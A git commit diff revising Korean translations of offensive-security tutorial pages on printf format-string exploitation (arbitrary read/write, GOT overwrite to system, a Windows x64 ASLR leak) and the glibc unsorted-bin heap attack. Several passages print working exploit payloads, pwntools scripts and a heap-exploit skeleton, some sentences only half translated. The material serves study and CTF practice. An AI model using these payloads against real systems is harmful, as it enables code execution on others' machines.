Translated ['', 'src/pentesting-web/command-injection.md', 'src/pentesti

This commit is contained in:
Translator 2025-08-29 12:32:56 +00:00
parent 4a00ecf798
commit 37cf1ef1b0
25 changed files with 2171 additions and 2139 deletions

View File

@ -5,13 +5,13 @@
## 기본 정보
C에서 **`printf`**는 문자열을 **출력**하는 데 사용되는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포맷터가 포함된 원시 텍스트**입니다. 그 다음에 오는 **매개변수들**은 원시 텍스트의 **포맷터를 대체할 값들**입니다.
C에서 **`printf`**는 문자열을 **출력**하는 데 사용되는 함수입니다. 이 함수가 기대하는 **첫 번째 파라미터**는 **포맷터가 포함된 원시 텍스트**입니다. 이어서 전달되는 **파라미터들**은 원시 텍스트의 포맷터를 **대체할 값들**입니다.
취약한 다른 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다.
다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다.
이 취약점은 공격자의 텍스트가 이 함수의 **첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf format** 문자열 기능을 악용하는 **특수한 입력**을 구성하여 임의의 주소에서 데이터를 **읽고 쓰기(읽기/쓰기 가능)** 할 수 있게 됩니다. 이를 통해 **임의의 코드 실행**이 가능해집니다.
이 취약점은 이 함수의 **첫 번째 인자로 공격자 텍스트가 사용될 때** 발생합니다. 공격자는 **printf format string** 기능을 악용해 특수한 입력을 만들어 임의의 주소에서 데이터를 읽고 쓸 수 있게(읽기/쓰기 가능) 되며, 이를 통해 **임의의 코드를 실행**할 수 있습니다.
#### Formatters:
#### 포맷터:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -30,12 +30,12 @@ char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- 일반적인 사용:
- 일반 사용:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- 인 누락 시:
- 인 누락 시:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
@ -52,28 +52,28 @@ fclose(output_file);
return 0;
}
```
### **포인터 접근하기**
### **포인터 접근하기**
형식 **`%<n>$x`**, 여기서 `n`은 숫자이며, printf에게 스택에서 n번째 param을 선택하라고 지시할 수 있습니다. 따라서 printf를 사용해 스택에서 4번째 param을 읽고 싶다면 다음과 같이 할 수 있습니다:
형식 **`%<n>$x`**, 여기서 `n`은 숫자이며, printf에 스택에서 n번째 매개변수를 선택하도록 지시할 수 있습니다. 따라서 printf로 스택의 네 번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다:
```c
printf("%x %x %x %x")
```
그리고 첫 번째부터 네 번째 파라미터까지 읽게 됩니다.
그리고 첫 번째부터 네 번째 파라미터 읽게 됩니다.
혹은 다음과 같이 할 수도 있습니다:
또는 다음과 같이 할 수 있습니다:
```c
printf("%4$x")
```
그리고 네 번째를 직접 읽습니다.
그리고 바로 네 번째를 읽습니다.
Notice that the attacker controls the `printf` **매개변수를 제어한다는 것은** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
Notice that the attacker controls the `printf` **매개변수를 제어한다는 점, 즉** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
> [!CAUTION]
> 이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 그것들에 접근하게 만들 수 있다**. 다음 섹션에서 이 동작을 어떻게 활용하는지 설명합니다.
> 이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`로 그 주소들에 접근하게 할 수 있다**. 다음 섹션에서 이 동작을 활용하는 방법을 설명한다.
## **Arbitrary Read**
포매터 **`%n$s`**를 사용하여 **`printf`**가 **n번째 위치에 있는 주소**를 가져오도록 하고, 그 주소를 따라가서 **문자열인 것처럼 출력**하게 만들 수 있다(0x00이 나올 때까지 출력). 그래서 바이너리의 베이스 주소가 **`0x8048000`**이고 사용자 입력이 스택의 4번째 위치에서 시작함을 알고 있다면, 바이너리의 시작 부분을 다음과 같이 출력할 수 있다:
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **주소** situated in the **n 위치**, following it and **문자열인 것처럼 출력하게 한다** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
```python
from pwn import *
@ -87,11 +87,11 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> 입력의 시작 부분에 주소 0x8048000을 넣을 수 없다는 점에 주의하세요. 문자열이 해당 주소의 끝에서 0x00으로 잘려버리기 때문입니다.
> 입력의 시작에 주소 0x8048000을 넣을 수 없다는 점에 유의하세요. 문자열이 해당 주소 끝의 0x00에서 잘리기 때문입니다.
### 오프셋 찾기
오프셋을 찾으려면 4 또는 8바이트(`0x41414141`)를 보낸 다음 **`%1$x`**를 붙이고 **값을 증가시켜** `A's`가 나올 때까지 확인하면 됩니다.
입력에 대한 오프셋을 찾으려면 4 또는 8 바이트 (`0x41414141`)를 보낸 다음 **`%1$x`**를 붙이고 `A's`가 나올 때까지 값을 **증가**시키면 됩니다.
<details>
@ -128,45 +128,43 @@ p.close()
### 유용성
Arbitrary reads는 다음과 같은 경우에 유용할 수 있다:
Arbitrary reads는 다음과 같이 유용합니다:
- 메모리에서 **binary**를 **Dump**한다
- canaries, encryption keys 또는 custom passwords와 같이 민감한 **info**가 저장된 메모리의 특정 부분에 **Access**한다 (예: 이 [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
포매터 **`%<num>$n`** 스택의 <num> 파라미터가 가리키는 주소에 지금까지 출력된 바이트 수를 쓴다. 만약 attacker가 printf로 원하는 만큼의 char를 출력할 수 있다면, **`%<num>$n`**을 이용해 임의의 주소에 임의의 수를 쓸 수 있다.
포매터 **`%<num>$n`** 스택의 <num> 파라미터가 가리키는 주소에 지금까지 출력된 바이트 수를 씁니다. 공격자가 printf로 원하는 만큼 많은 char를 쓸 수 있다면, **`%<num>$n`**을 이용해 임의의 주소에 임의의 숫자를 쓸 수 있게 됩니다.
다행히도 숫자 9999를 쓰기 위해 입력에 "A"를 9999개 넣을 필요는 없다. 대신 포매터 **`%.<num-write>%<num>$n`**를 사용하면 숫자 **`<num-write>`****`num` 위치가 가리키는 주소** 쓸 수 있다.
다행히도 숫자 9999를 쓰기 위해 입력에 "A"를 9999개 추가할 필요는 없습니다. 대신 포매터 **`%.<num-write>%<num>$n`**을 사용하면 **`<num-write>`** 숫자**`num` 위치가 가리키는 주소** 쓸 수 있습니다.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
하지만, 일반적으로 `0x08049724` 같은 주소(한 번에 쓰기에는 매우 큰 수)를 쓰기 위해서는 **$n** 대신 **$hn**을 사용한다. 이는 **2 Bytes만 쓰도록** 해준다. 따라서 이 작업은 주소의 상위 2B와 하위 2B에 대해 각각 두 번 수행된다.
하지만 보통 `0x08049724` (한 번에 쓰기에는 매우 큰 수) 같은 주소를 쓰기 위해서는, **`$n` 대신 `$hn`이 사용된다**. 이렇게 하면 **오직 2 Bytes만** 쓸 수 있다. 따라서 이 작업은 주소의 상위 2B와 하위 2B에 대해 각각 두 번 수행된다.
따라서, 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있다 (arbitrary write).**
따라서, 이 취약점은 **임의의 주소에 어떤 값이든 쓸 수 있다 (arbitrary write).**
이 예제에서는 나중에 호출될 **GOT** 테이블의 **함수** 주소를 **덮어쓰는(overwrite)** 것이 목표이다. 물론 이는 다른 arbitrary write → exec 기법을 악용할 수도 있다:
이 예제에서 목표는 나중에 호출될 **GOT** 테이블에 있는 **함수**의 **주소**를 **덮어쓰는 것**이다. 물론 이는 다른 arbitrary write to exec 기법을 악용할 수도 있다:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
우리는 **사용자**로부터 **인자(arguments)** 를 받는 **함수**의 주소를 **덮어써서** 이를 **`system`** **함수**로 **가리키도록(point)** 것이다.\
앞서 언급했듯이, 주소를 쓰기 위해 보통 2단계가 필요하다: 먼저 주소의 **2Bytes를 쓰고**, 그 다음 나머지 2Bytes를 쓴다. 이를 위해 **`$hn`**을 사용한다.
우리는 **사용자**로부터 **인자를 받는** **함수**를 **덮어써서** 그 함수를 **`system`** **함수**로 가리키게 만들 것이다.\
앞서 언급했듯 주소를 쓰기 위해서는 보통 2단계가 필요하다: 먼저 주소의 2Bytes를 쓰고 그 다음 나머지 2Bytes를 쓴다. 이를 위해 **`$hn`**을 사용한다.
- **HOB**는 주소의 상위 2바이트를 의미한
- **LOB**는 주소의 하위 2바이트를 의미한
- **HOB**는 주소의 상위 2Bytes를 가리킨
- **LOB**는 주소의 하위 2Bytes를 가리킨
다음, format string의 동작 방식 때문에 \[HOB, LOB] 중 **작은 값을 먼저** 쓰고 그 다음 큰 값을 써야 한다.
그 다음, format string의 동작 방식 때문에 \[HOB, LOB] 중 더 작은 값을 **먼저 써야** 하고 그 다음에 나머지를 써야 한다.
만약 HOB < LOB\
[HOB < LOB]
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
만약 HOB > LOB\
[HOB > LOB]
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
@ -175,7 +173,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
### Pwntools 템플릿
다음에서 이러한 종류의 취약점에 대한 exploit을 준비하기 위한 **template**을 찾을 수 있습니다:
이러한 유형의 취약점에 대한 exploit을 준비하기 위한 **템플릿**은 다음에서 찾을 수 있습니다:
{{#ref}}
@ -203,24 +201,24 @@ p.interactive()
```
## Format Strings to BOF
format string 취약점의 쓰기 동작을 악용하여 **write in addresses of the stack**하고 **buffer overflow** 유형의 취약점을 유발할 수 있다.
format string 취약점의 write 동작을 악용하여 **write in addresses of the stack**를 수행하고 **buffer overflow** 유형의 취약점을 악용할 수 있다.
## Windows x64: Format-string leak to bypass ASLR (no varargs)
Windows x64에서는 첫 네 개의 정수/포인터 매개변수가 레지스터 RCX, RDX, R8, R9에 전달된다. 많은 취약한 호출 지점에서 공격자가 제어하는 문자열이 format 인자로 사용되지만, variadic arguments는 제공되지 않는 경우가 있다. 예:
Windows x64에서는 첫 네 개의 정수/포인터 파라미터가 레지스터(RCX, RDX, R8, R9)를 통해 전달된다. 많은 버그가 있는 호출 지점에서 공격자가 제어하는 문자열이 format argument로 사용되지만 variadic arguments가 제공되지 않는 경우가 많다. 예를 들어:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
가변 인자가 전달되지 않기 때문에 "%p", "%x", "%s" 같은 변환은 CRT가 적절한 레지스터에서 다음 가변 인자를 읽도록 한다. Microsoft x64 calling convention에서 "%p"에 대한 첫 번째 읽기는 R9에서 발생한다. 호출 지점의 R9에 들어있는 일시적인 값이 출력된다. 실제로 이는 종종 모듈 내부의 안정적인 포인터를 leak하는데(예: 주변 코드에 의해 이전에 R9에 놓인 로컬/글로벌 객체를 가리키는 포인터 또는 callee-saved 값), 이를 이용해 module base를 복구하고 ASLR을 무력화할 수 있다.
varargs가 전달되지 않기 때문에 "%p", "%x", "%s" 같은 변환은 CRT가 적절한 레지스터에서 다음 가변 인수를 읽도록 만듭니다. Microsoft x64 calling convention에서는 "%p"에 대한 첫 번째 읽기가 R9에서 이루어집니다. 호출 지점에서 R9에 있는 어떤 일시적 값이든 출력됩니다. 실제로 이는 종종 안정적인 in-module pointer를 leak하는데(예: 주변 코드에 의해 이전에 R9에 배치된 로컬/글로벌 객체에 대한 포인터 또는 callee-saved 값), 이는 module base를 복구하고 ASLR을 무력화하는 데 사용될 수 있습니다.
Practical workflow:
- 공격자가 제어하는 문자열의 맨 앞에 "%p " 같은 무해한 포맷을 주입하여 첫 번째 변환이 필터링 이전에 실행되게 한다.
- leaked pointer를 캡처하고, 모듈 내부에서 그 객체의 정적 오프셋을 식별(심볼로 한 번 리버스하거나 로컬 복사본 이용)한 다음 image base를 `leak - known_offset`으로 복원한다.
- 해당 base를 재사용하여 ROP gadgets 및 IAT entries의 절대 주소를 원격에서 계산한다.
- 공격자가 제어하는 문자열의 맨 앞에 "%p " 같은 무해한 포맷을 주입하여 첫 번째 변환이 필터링 전에 실행되도록 합니다.
- leaked pointer를 캡처하고, 해당 객체의 모듈 내 정적 오프셋을 식별한 다음(심볼이나 로컬 복사본으로 한 번 리버싱하여) image base를 `leak - known_offset`으로 복원합니다.
- 그 base를 재사용하여 ROP gadgets 및 IAT entries의 절대 주소를 원격으로 계산합니다.
Example (abbreviated python):
```python
@ -235,26 +233,25 @@ base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
노트:
- 정확히 빼야 할 오프셋은 로컬 리버싱 중 한 번 찾아내고 그 후 재사용합니다(같은 binary/version).
- "%p"가 첫 시도에 유효한 포인터를 출력하지 않으면, 다른 서식 지정자("%llx", "%s")나 여러 변환("%p %p %p")을 시도하여 다른 인자 레지스터/스택을 샘플링해 보세요.
- 이 패턴은 format string이 요구할 때 레지스터에서 존재하지 않는 varargs를 가져오는 Windows x64 calling convention 및 printf-family 구현에만 해당합니다.
- 빼야 할 정확한 offset은 로컬 reversing 중에 한 번 찾은 뒤 재사용한다 (same binary/version).
- "%p"가 첫 시도에 유효한 포인터를 출력하지 않으면, 다른 지정자("%llx", "%s")나 여러 변환("%p %p %p")을 시도해 다른 argument registers/stack를 샘플링해보자.
- 이 패턴은 Windows x64 calling convention과 format 문자열이 요청할 때 존재하지 않는 varargs를 registers에서 가져오는 printf-family 구현에 특화되어 있다.
이 기법은 ASLR이 적용되고 명백한 memory disclosure primitives가 없는 Windows 서비스에서 ROP를 부트스트랩하는 데 매우 유용합니다.
이 기법은 ASLR이 적용되고 명백한 memory disclosure primitives가 없는 Windows 서비스에서 ROP를 부트스트랩하는 데 매우 유용다.
## 다른 예제 및 참고자료
## Other Examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie — format strings를 사용해 스택에서 flag를 leak(실행 흐름을 변경할 필요 없음)
- 32 bit, no relro, no canary, nx, no pie, format strings를 사용해 stack에서 flag를 leak하는 기본적인 예 (execution flow를 변경할 필요 없음)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie — format string로 `fflush`의 주소를 win 함수(ret2win)로 덮어쓰기
- 32 bit, relro, no canary, nx, no pie, format string으로 fflush의 주소를 win 함수(ret2win)로 덮어쓰기
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie — format string로 main 내부의 주소를 `.fini_array`에 쓰게 하여(흐름이 한 번 더 main으로 되돌아감) GOT 테이블의 `strlen``system`을 가리키도록 덮어씁니다. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력과 함께 호출되며 `system`을 가리키므로 전달된 명령이 실행됩니다.
- 32 bit, relro, no canary, nx, no pie, main 내부의 `.fini_array`에 주소를 쓰게 해 흐름을 한 번 더 루프시키고 GOT 테이블의 `strlen``system`으로 덮어쓴다. 흐름이 다시 main으로 돌아오면 `strlen`이 사용자 입력과 함께 실행되고 `system`을 가리키므로 전달된 명령이 실행된다.
## 참고자료
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

View File

@ -4,16 +4,16 @@
## 기본 정보
Unsorted bin이 무엇인지에 대한 자세한 정보는 다음 페이지를 확인하세요:
자세한 내용은 unsorted bin이 무엇인지 이 페이지를 확인하세요:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted 리스트는 청크의 `bk` 주소에 `unsorted_chunks (av)`의 주소를 쓸 수 있습니다. 따라서 공격자가 unsorted bin 내부의 청크에서 `bk` 포인터의 주소를 **수정할 수 있다면**, 그는 그 주소를 **임의의 주소에 쓸 수 있게**고 이는 Glibc 주소를 leak 하거나 일부 방어를 우회하는 데 도움이 될 수 있습니다.
Unsorted 리스트는 청크의 `bk` 주소에 `unsorted_chunks (av)`의 주소를 쓸 수 있습니다. 따라서 공격자가 unsorted bin 의 청크에서 `bk` 포인터의 주소를 **수정할 수 있다면**, 그는 그 주소를 **임의의 주소에 쓸 수 있게** Glibc 주소를 leak 하거나 일부 방어를 우회하는 데 도움이 될 수 있습니다.
요약하면, 이 공격은 **임의의 주소에 큰 숫자(큰 값)를 설정할 수 있게** 해줍니다. 이 큰 숫자는 힙 주소나 Glibc 주소일 수 있습니다. 전통적인 타깃은 **`global_max_fast`** 로, 이를 통해 더 큰 크기의 fast bin을 만들 수 있게 하여 (unsorted bin 공격에서 fast bin 공격으로 전환하는 데) 사용되었습니다.
요약하면, 이 공격은 **임의의 주소에 큰 숫자 하나를 설정**할 수 있게 합니다. 이 큰 숫자는 힙 주소나 Glibc 주소일 수 있습니다. 전통적인 목표는 더 큰 사이즈의 fast bin을 만들기 위해 **`global_max_fast`** 였습니다(즉 unsorted bin attack에서 fast bin attack으로 전환할 수 있게 해줌).
- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
@ -23,49 +23,49 @@ Unsorted 리스트는 청크의 `bk` 주소에 `unsorted_chunks (av)`의 주소
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
> 이 공격은 unsorted bin(따라서 small, large도 포함)을 손상시킵니다. 따라서 이제 우리는 **fast bin에서의 할당만 사용할 수 있습니다**(더 복잡한 프로그램은 다른 할당을 하여 충돌할 수 있음). 그리고 이를 트리거하려면 **같은 크기를 할당해야 하며, 그렇지 않으면 프로그램이 크래시합니다.**
>
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
> `global_max_fast`를 덮어쓰면 이 경우 도움이 될 수 있으며, fast bin이 익스플로잇이 완료될 때까지 다른 모든 할당을 처리할 수 있다고 가정하는 전략이 가능합니다.
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html)의 코드는 이를 매우 잘 설명합니다. 다만 malloc들을 Tcache에 빠지지 않도록 충분히 큰 메모리로 바꾸면 앞서 언급한 오류인 **`malloc(): unsorted double linked list corrupted`** 가 발생하는 것을 볼 수 있습니다.
### 실제 쓰기가 발생하는 방식
### 실제 쓰기가 일어나는 방식
- Unsortedbin 쓰기는 free 시, 해제된 청크가 unsorted 리스트의 머리에 삽입될 때 트리거됩니다.
- 삽입 과정에서 allocator는 `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` 를 수행합니다.
- Unsorted-bin 쓰기는 `free` 시에, 해제된 청크가 unsorted 리스트의 헤드에 삽입될 때 발생합니다.
- 삽입 동안, allocator는 `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` 를 수행합니다.
- 만약 `free(victim)`을 호출하기 전에 `victim->bk``(mchunkptr)(TARGET - 0x10)`으로 설정할 수 있다면, 마지막 문장이 쓰기를 수행합니다: `*(TARGET) = victim`.
- 이후 allocator가 unsorted bin을 처리할 때, 무결성 검사로 `bck->fd == victim``victim->fd == unsorted_chunks(av)` 같은 검사들이 실행되며, 그렇지 않으면 `malloc(): unsorted double linked list corrupted`로 abort합니다. 삽입 시 이미 `bck->fd`(우리의 `TARGET`)에 `victim`을 썼기 때문에, 이 쓰기가 성공했다면 이러한 검사들은 만족될 수 있습니다.
- 이후 allocator가 unsorted bin을 처리할 때, 정합성 검사로 언링크하기 전에 `bck->fd == victim``victim->fd == unsorted_chunks(av)` 같은 것들을 확인합니다. 삽입 시 이미 `bck->fd`(우리의 `TARGET`)에 `victim`을 썼기 때문에, 이 쓰기가 성공했다면 이러한 검사 만족될 수 있습니다.
## 최신 제약 (glibc ≥ 2.33)
## 현대적 제약 (glibc ≥ 2.33)
현재 glibc에서 unsortedbin 쓰기를 신뢰성 있게 사용하려면:
- Tcache 간섭: tcache에 해당하는 사이즈의 경우 free가 거기로 우회되어 unsorted bin에 도달하지 않습니다. 따라서
- 요청을 MAX_TCACHE_SIZE보다 큰 사이즈로 하거나(기본적으로 64비트에서 ≥ 0x410),
- 해당 tcache bin을 채워(7개 항목) 추가 free가 global bin으로 가게 하거나,
- 환경을 제어할 수 있다면 tcache를 비활성화(예: GLIBC_TUNABLES glibc.malloc.tcache_count=0)하세요.
- Unsorted 리스트에 대한 무결성 검사: 다음 할당 경로에서 unsorted bin을 검사할 때 glibc는 (단순화하여) 다음을 확인합니다:
- Tcache 간섭: tcache에 해당하는 사이즈의 경우 free는 tcache로 분기되어 unsorted bin을 건드리지 않습니다. 따라서
- 요청을 MAX_TCACHE_SIZE보다 크게 하거나(기본적으로 64bit에서 ≥ 0x410), 또는
- 해당 tcache bin을 채워서(7개 항목) 추가 free가 글로벌 bin에 도달하도록 하거나, 또는
- 환경을 제어할 수 있다면 tcache를 비활성화(예: GLIBC_TUNABLES glibc.malloc.tcache_count=0)합니다.
- Unsorted 리스트의 정합성 검사: 다음 allocator 경로에서 unsorted bin을 검사할 때 glibc는(단순화) 다음을 확인합니다:
- `bck->fd == victim``victim->fd == unsorted_chunks(av)`; 그렇지 않으면 `malloc(): unsorted double linked list corrupted`로 abort합니다.
- 이는 목표로 하는 주소가 두 번의 쓰기를 견뎌야 함을 의미합니다: 먼저 free 시 `*(TARGET) = victim`이 쓰이고; 그 후 청크가 제거될 때 allocator가 `*(TARGET) = unsorted_chunks(av)`로 다시 씁니다. `bck->fd`를 bin 머리로 되돌리기 때문입니다. 단순히 큰 비영(非0) 값을 강제하는 것만으로도 유용한 타깃을 선택하세요.
- 현대 익스플로잇에서의 일반적인 안정적 타깃
- 애플리케이션 또는 전역 상태에서 "큰" 값을 플래그/한계로 처리하는 곳.
- 간접적인 프리미티브(예: 이후의 [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}})을 위한 준비 또는 이후의 writewhatwhere를 피벗할 수 있는 준비).
- 새로운 glibc에서 `__malloc_hook`/`__free_hook`은 2.34에서 제거되었으므로 피하세요. `global_max_fast`는 ≥ 2.39에서 피하세요(다음 노트 참조).
- `global_max_fast`에 관하여(최근 glibc)
- glibc 2.39+에서는 `global_max_fast`가 8비트 전역으로 변경되었습니다. 여기에 포인터를 무분별하게 쓰면 인접한 libc 데이터가 훼손되고 fastbin 한계를 신뢰성 있게 올릴 수 없습니다. 다른 전략을 권장합니다.
- 이는 타겟 주소가 두 번의 쓰기를 견뎌야 함을 의미합니다: 먼저 free 시에 `*(TARGET) = victim`; 나중에 청크가 제거될 때 `*(TARGET) = unsorted_chunks(av)`(allocator가 `bck->fd`를 다시 bin 헤드로 덮어씀). 단순히 큰 비영(非零) 값을 강제하는 것이 유용한 타겟을 선택하세요.
- 현대 익스플로잇에서의 전형적인 안정적 타겟
- "큰" 값을 플래그/한계로 취급하는 애플리케이션 또는 전역 상태.
- 간접 프리미티브(예: 이후의 [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}})을 위해 설정하거나 후속 writewhatwhere로 피벗하기 위한 준비).
- 새로운 glibc에서 `__malloc_hook`/`__free_hook`는 2.34에서 제거되었습니다 — 이들을 목표로 삼지 마십시오. glibc ≥ 2.39에서는 `global_max_fast` 역시 피하십시오(다음 노트 참조).
- `global_max_fast`에 관하여 최근 glibc에서는
- glibc 2.39+에서는 `global_max_fast`가 8bit 전역이 되었습니다. 전통적인 방식대로 힙 포인터를 여기에 쓰는 트릭은 더 이상 깔끔하게 동작하지 않으며 인접한 allocator 상태를 손상시킬 가능성이 높습니다. 다른 전략을 선택하세요.
## 최소 익스플로잇 절차 (최신 glibc)
## 최소 익스플로잇 레시피 (modern glibc)
목표: unsortedbin 삽입 프리미티브를 사용하여 임의의 주소에 힙 포인터 하나를 안정적으로 쓰는 것(프로그램을 크래시시키지 않음).
목표: 크래시 없이 unsortedbin 삽입 프리미티브를 사용해 힙 포인터 하나를 임의 주소에 단일 임의 쓰기로 달성합니다.
- Layout/grooming
- tcache를 우회할 만큼 충분히 큰 사이즈로 A, B, C 할당(예: 0x5000). C는 top chunk와의 합쳐짐(consolidation)을 방지합니다.
- Corruption
- A에서 B의 청크 헤더로 오버플로우하여 `B->bk = (mchunkptr)(TARGET - 0x10)`으로 설정합니다.
- Trigger
- `free(B)`를 수행합니다. 삽입 시 allocator는 `bck->fd = B`를 실행하므로, 결과적으로 `*(TARGET) = B`가 됩니다.
- Continuation
- 계속해서 할당을 진행할 계획이고 프로그램이 unsorted bin을 사용한다면, allocator가 나중에 `*(TARGET) = unsorted_chunks(av)`다시 쓸 것임을 예상하세요. 두 값 모두 일반적으로 큰 값이며, "큰" 값만 확인하는 타깃의 크기/한계 의미론을 변경하기에 충분할 수 있습니다.
- tcache를 우회할 만큼 큰 사이즈로 A, B, C 할당(예: 0x5000). C는 top chunk와의 합(consolidation)을 방지합니다.
- 손상(Corruption)
- A에서 B의 청크 헤더로 오버플로우하여 `B->bk = (mchunkptr)(TARGET - 0x10)` 설정합니다.
- 트리거(Trigger)
- `free(B)`. 삽입 시 allocator가 `bck->fd = B`를 실행하므로 결과적으로 `*(TARGET) = B`가 됩니다.
- 이후(Continuation)
- 계속 할당을 진행하고 프로그램이 unsorted bin을 사용한다면 allocator가 나중에 `*(TARGET) = unsorted_chunks(av)`덮어쓸 것임을 예상하세요. 두 값 모두 일반적으로 큰 값이며, 단지 "큰" 것을 검사하는 타겟에서는 이것만으로도 사이즈/한계 의미를 바꿀 수 있습니다.
Pseudocode skeleton:
```c
@ -80,33 +80,32 @@ void *C = malloc(0x5000); // guard
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
```
> [!NOTE]
> • If you cannot bypass `tcache` with size, fill the `tcache` bin for the chosen size (7 frees) before freeing the corrupted chunk so the free goes to `unsorted`.
> • If the program immediately aborts on the next allocation due to `unsorted-bin` checks, reexamine that `victim->fd` still equals the bin head and that your `TARGET` holds the exact `victim` pointer after the first write.
> • 만약 size로 tcache를 우회할 수 없다면, 선택한 크기의 tcache bin을 (7번 frees) 채운 후 손상된 chunk를 free 하여 free가 unsorted로 가게 하세요.
> • 만약 프로그램이 다음 allocation에서 unsorted-bin 검증 때문에 즉시 abort한다면, `victim->fd`가 여전히 bin head와 같은지, 그리고 첫 번째 쓰기 이후에 당신의 `TARGET`이 정확한 `victim` 포인터를 가지고 있는지 다시 확인하세요.
## Unsorted Bin Infoleak Attack
이것은 사실 매우 기본적인 개념이다. `unsorted bin`에 있는 청크들은 포인터를 갖고 있다. `unsorted bin`의 첫 번째 청크는 실제로 **`fd`**와 **`bk`** 링크가 **main arena (Glibc)의 일부를 가리키게 된다**.\
따라서, 만약 당신이 **청크를 `unsorted bin`에 넣고 그것을 읽을 수 있다**(use after free)거나 **적어도 하나의 포인터를 덮어쓰기하지 않고 다시 할당해서** 읽을 수 있다면, **Glibc info leak**을 얻을 수 있다.
사실 이것은 매우 기본적인 개념입니다. unsorted bin의 청크들은 포인터를 갖고 있습니다. unsorted bin의 첫 번째 청크는 실제로 **`fd`**와 **`bk`** 링크가 **main arena (Glibc)**의 일부를 가리키고 있습니다.\
따라서, unsorted bin 안에 청크를 넣고 이를 읽을 수 있다면 (use after free), 또는 적어도 하나의 포인터를 덮어쓰지 않고 다시 할당하여 읽을 수 있다면, **Glibc info leak**을 얻을 수 있습니다.
